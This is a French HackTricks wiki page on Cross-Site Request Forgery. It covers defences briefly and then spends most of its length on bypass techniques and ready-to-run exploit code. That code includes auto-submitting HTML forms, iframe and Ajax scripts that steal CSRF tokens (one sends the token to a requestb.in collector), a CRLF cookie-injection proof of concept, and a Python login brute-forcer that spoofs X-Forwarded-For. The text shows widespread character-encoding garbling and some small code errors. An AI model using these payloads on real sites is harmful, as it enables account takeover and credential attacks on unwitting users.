CSRF (Cross Site Request Forgery)
Reading time: 18 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Cross-Site Request Forgery (CSRF) Expliqué
Cross-Site Request Forgery (CSRF) est un type de vulnĂ©rabilitĂ© de sĂ©curitĂ© que l'on trouve dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs non mĂ©fiants en exploitant leurs sessions authentifiĂ©es. L'attaque est exĂ©cutĂ©e lorsqu'un utilisateur, connectĂ© Ă la plateforme d'une victime, visite un site malveillant. Ce site dĂ©clenche alors des requĂȘtes vers le compte de la victime par des mĂ©thodes telles que l'exĂ©cution de JavaScript, la soumission de formulaires ou le chargement d'images.
Prérequis pour une attaque CSRF
Pour exploiter une vulnĂ©rabilitĂ© CSRF, plusieurs conditions doivent ĂȘtre remplies :
- Identifier une action prĂ©cieuse : L'attaquant doit trouver une action digne d'ĂȘtre exploitĂ©e, comme changer le mot de passe de l'utilisateur, l'email ou Ă©lever les privilĂšges.
- Gestion de session : La session de l'utilisateur doit ĂȘtre gĂ©rĂ©e uniquement par des cookies ou l'en-tĂȘte d'authentification HTTP Basic, car d'autres en-tĂȘtes ne peuvent pas ĂȘtre manipulĂ©s Ă cette fin.
- Absence de paramĂštres imprĂ©visibles : La requĂȘte ne doit pas contenir de paramĂštres imprĂ©visibles, car ils peuvent empĂȘcher l'attaque.
VĂ©rification rapide
Vous pouvez capturer la requĂȘte dans Burp et vĂ©rifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur Copy as fetch et vĂ©rifier la requĂȘte :
 (1) (1).png)
DĂ©fense contre CSRF
Plusieurs contre-mesures peuvent ĂȘtre mises en Ćuvre pour se protĂ©ger contre les attaques CSRF :
- Cookies SameSite : Cet attribut empĂȘche le navigateur d'envoyer des cookies avec des requĂȘtes intersites. En savoir plus sur les cookies SameSite.
- Partage de ressources entre origines : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. En savoir plus sur le contournement CORS.
- Vérification de l'utilisateur : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
- VĂ©rification des en-tĂȘtes Referrer ou Origin : Valider ces en-tĂȘtes peut aider Ă s'assurer que les requĂȘtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vĂ©rifications mal implĂ©mentĂ©es, telles que :
- Utiliser
http://mal.net?orig=http://example.com
(l'URL se termine par l'URL de confiance) - Utiliser
http://example.com.mal.net
(l'URL commence par l'URL de confiance)
- Utiliser
- Modification des noms de paramĂštres : Alterner les noms des paramĂštres dans les requĂȘtes POST ou GET peut aider Ă prĂ©venir les attaques automatisĂ©es.
- Tokens CSRF : Incorporer un token CSRF unique dans chaque session et exiger ce token dans les requĂȘtes suivantes peut rĂ©duire considĂ©rablement le risque de CSRF. L'efficacitĂ© du token peut ĂȘtre renforcĂ©e en appliquant CORS.
Comprendre et mettre en Ćuvre ces dĂ©fenses est crucial pour maintenir la sĂ©curitĂ© et l'intĂ©gritĂ© des applications web.
Contournement des défenses
De POST Ă GET
Peut-ĂȘtre que le formulaire que vous souhaitez abuser est prĂ©parĂ© pour envoyer une requĂȘte POST avec un token CSRF mais, vous devriez vĂ©rifier si un GET est Ă©galement valide et si lorsque vous envoyez une requĂȘte GET, le token CSRF est toujours validĂ©.
Absence de token
Les applications peuvent mettre en Ćuvre un mĂ©canisme pour valider les tokens lorsqu'ils sont prĂ©sents. Cependant, une vulnĂ©rabilitĂ© se prĂ©sente si la validation est complĂštement ignorĂ©e lorsque le token est absent. Les attaquants peuvent exploiter cela en supprimant le paramĂštre qui porte le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une attaque Cross-Site Request Forgery (CSRF).
Le token CSRF n'est pas lié à la session utilisateur
Les applications ne liant pas les tokens CSRF aux sessions utilisateur présentent un risque de sécurité significatif. Ces systÚmes vérifient les tokens par rapport à un pool global plutÎt que de s'assurer que chaque token est lié à la session initiatrice.
Voici comment les attaquants exploitent cela :
- S'authentifier en utilisant leur propre compte.
- Obtenir un token CSRF valide du pool global.
- Utiliser ce token dans une attaque CSRF contre une victime.
Cette vulnĂ©rabilitĂ© permet aux attaquants de faire des requĂȘtes non autorisĂ©es au nom de la victime, exploitant le mĂ©canisme de validation de token inadĂ©quat de l'application.
Contournement de méthode
Si la requĂȘte utilise une "mĂ©thode" "bizarre", vĂ©rifiez si la fonctionnalitĂ© de surcharge de mĂ©thode fonctionne. Par exemple, si elle utilise une mĂ©thode PUT, vous pouvez essayer d'utiliser une mĂ©thode POST et envoyer : https://example.com/my/dear/api/val/num?_method=PUT
Cela pourrait Ă©galement fonctionner en envoyant le paramĂštre _method Ă l'intĂ©rieur d'une requĂȘte POST ou en utilisant les en-tĂȘtes :
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Contournement de token d'en-tĂȘte personnalisĂ©
Si la requĂȘte ajoute un en-tĂȘte personnalisĂ© avec un token Ă la requĂȘte comme mĂ©thode de protection CSRF, alors :
- Testez la requĂȘte sans le Token PersonnalisĂ© et aussi l'en-tĂȘte.
- Testez la requĂȘte avec un token de mĂȘme longueur mais diffĂ©rent.
Le token CSRF est vérifié par un cookie
Les applications peuvent mettre en Ćuvre une protection CSRF en dupliquant le token Ă la fois dans un cookie et un paramĂštre de requĂȘte ou en dĂ©finissant un cookie CSRF et en vĂ©rifiant si le token envoyĂ© dans le backend correspond au cookie. L'application valide les requĂȘtes en vĂ©rifiant si le token dans le paramĂštre de requĂȘte correspond Ă la valeur dans le cookie.
Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des défauts permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivie de l'initiation de l'attaque CSRF.
Voici un exemple de la façon dont une attaque pourrait ĂȘtre structurĂ©e :
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
note
Notez que si le token csrf est liĂ© au cookie de session, cette attaque ne fonctionnera pas car vous devrez dĂ©finir la session de la victime, et donc vous vous attaquerez vous-mĂȘme.
Changement de Content-Type
Selon ceci, afin d'Ă©viter les requĂȘtes de prĂ©-vĂ©rification utilisant la mĂ©thode POST, voici les valeurs de Content-Type autorisĂ©es :
application/x-www-form-urlencoded
multipart/form-data
text/plain
Cependant, notez que la logique des serveurs peut varier en fonction du Content-Type utilisé, donc vous devriez essayer les valeurs mentionnées et d'autres comme application/json
,text/xml
, application/xml
.
Exemple (de ici) d'envoi de données JSON en tant que text/plain :
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Contournement des requĂȘtes prĂ©liminaires pour les donnĂ©es JSON
Lors de l'envoi de donnĂ©es JSON via une requĂȘte POST, l'utilisation de Content-Type: application/json
dans un formulaire HTML n'est pas directement possible. De mĂȘme, l'utilisation de XMLHttpRequest
pour envoyer ce type de contenu dĂ©clenche une requĂȘte prĂ©liminaire. NĂ©anmoins, il existe des stratĂ©gies pour contourner cette limitation et vĂ©rifier si le serveur traite les donnĂ©es JSON indĂ©pendamment du Content-Type :
- Utiliser des types de contenu alternatifs : Employez
Content-Type: text/plain
ouContent-Type: application/x-www-form-urlencoded
en définissantenctype="text/plain"
dans le formulaire. Cette approche teste si le backend utilise les donnĂ©es indĂ©pendamment du Content-Type. - Modifier le type de contenu : Pour Ă©viter une requĂȘte prĂ©liminaire tout en s'assurant que le serveur reconnaĂźt le contenu comme JSON, vous pouvez envoyer les donnĂ©es avec
Content-Type: text/plain; application/json
. Cela ne dĂ©clenche pas de requĂȘte prĂ©liminaire mais pourrait ĂȘtre traitĂ© correctement par le serveur s'il est configurĂ© pour accepterapplication/json
. - Utilisation de fichiers SWF Flash : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF flash pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, référez-vous à ce post.
Contournement de la vérification du référent / origine
Ăviter l'en-tĂȘte Referer
Les applications peuvent valider l'en-tĂȘte 'Referer' uniquement lorsqu'il est prĂ©sent. Pour empĂȘcher un navigateur d'envoyer cet en-tĂȘte, le tag meta HTML suivant peut ĂȘtre utilisĂ© :
<meta name="referrer" content="never">
Cela garantit que l'en-tĂȘte 'Referer' est omis, contournant potentiellement les vĂ©rifications de validation dans certaines applications.
Contournements Regexp
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramÚtres, vous pouvez faire :
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
Bypass de la méthode HEAD
La premiĂšre partie de ce CTF writeup explique que le code source d'Oak, un routeur, est configurĂ© pour traiter les requĂȘtes HEAD comme des requĂȘtes GET sans corps de rĂ©ponse - un contournement courant qui n'est pas unique Ă Oak. Au lieu d'un gestionnaire spĂ©cifique qui traite les requĂȘtes HEAD, elles sont simplement transmises au gestionnaire GET mais l'application supprime juste le corps de la rĂ©ponse.
Par consĂ©quent, si une requĂȘte GET est limitĂ©e, vous pourriez simplement envoyer une requĂȘte HEAD qui sera traitĂ©e comme une requĂȘte GET.
Exemples d'exploitation
Exfiltration du token CSRF
Si un token CSRF est utilisé comme défense, vous pourriez essayer de l'exfiltrer en abusant d'une vulnérabilité XSS ou d'une vulnérabilité Dangling Markup.
GET utilisant des balises HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
D'autres balises HTML5 qui peuvent ĂȘtre utilisĂ©es pour envoyer automatiquement une requĂȘte GET sont :
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Formulaire de requĂȘte GET
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Formulaire de requĂȘte POST
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
Formulaire de requĂȘte POST via iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
RequĂȘte POST Ajax
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
requĂȘte POST multipart/form-data
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST request v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
Formulaire de requĂȘte POST depuis un iframe
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Voler le jeton CSRF et envoyer une requĂȘte POST
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Voler le jeton CSRF et envoyer une requĂȘte Post en utilisant un iframe, un formulaire et Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Voler le jeton CSRF et envoyer une requĂȘte POST en utilisant un iframe et un formulaire
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Voler le jeton et l'envoyer en utilisant 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTVoler le token CSRF avec Ajax et envoyer un post avec un formulaire
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF avec Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
Le code peut ĂȘtre utilisĂ© pour forcer un formulaire de connexion en utilisant un jeton CSRF (Il utilise Ă©galement l'en-tĂȘte X-Forwarded-For pour essayer de contourner un Ă©ventuel blacklistage d'IP) :
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Outils
Références
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
â
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.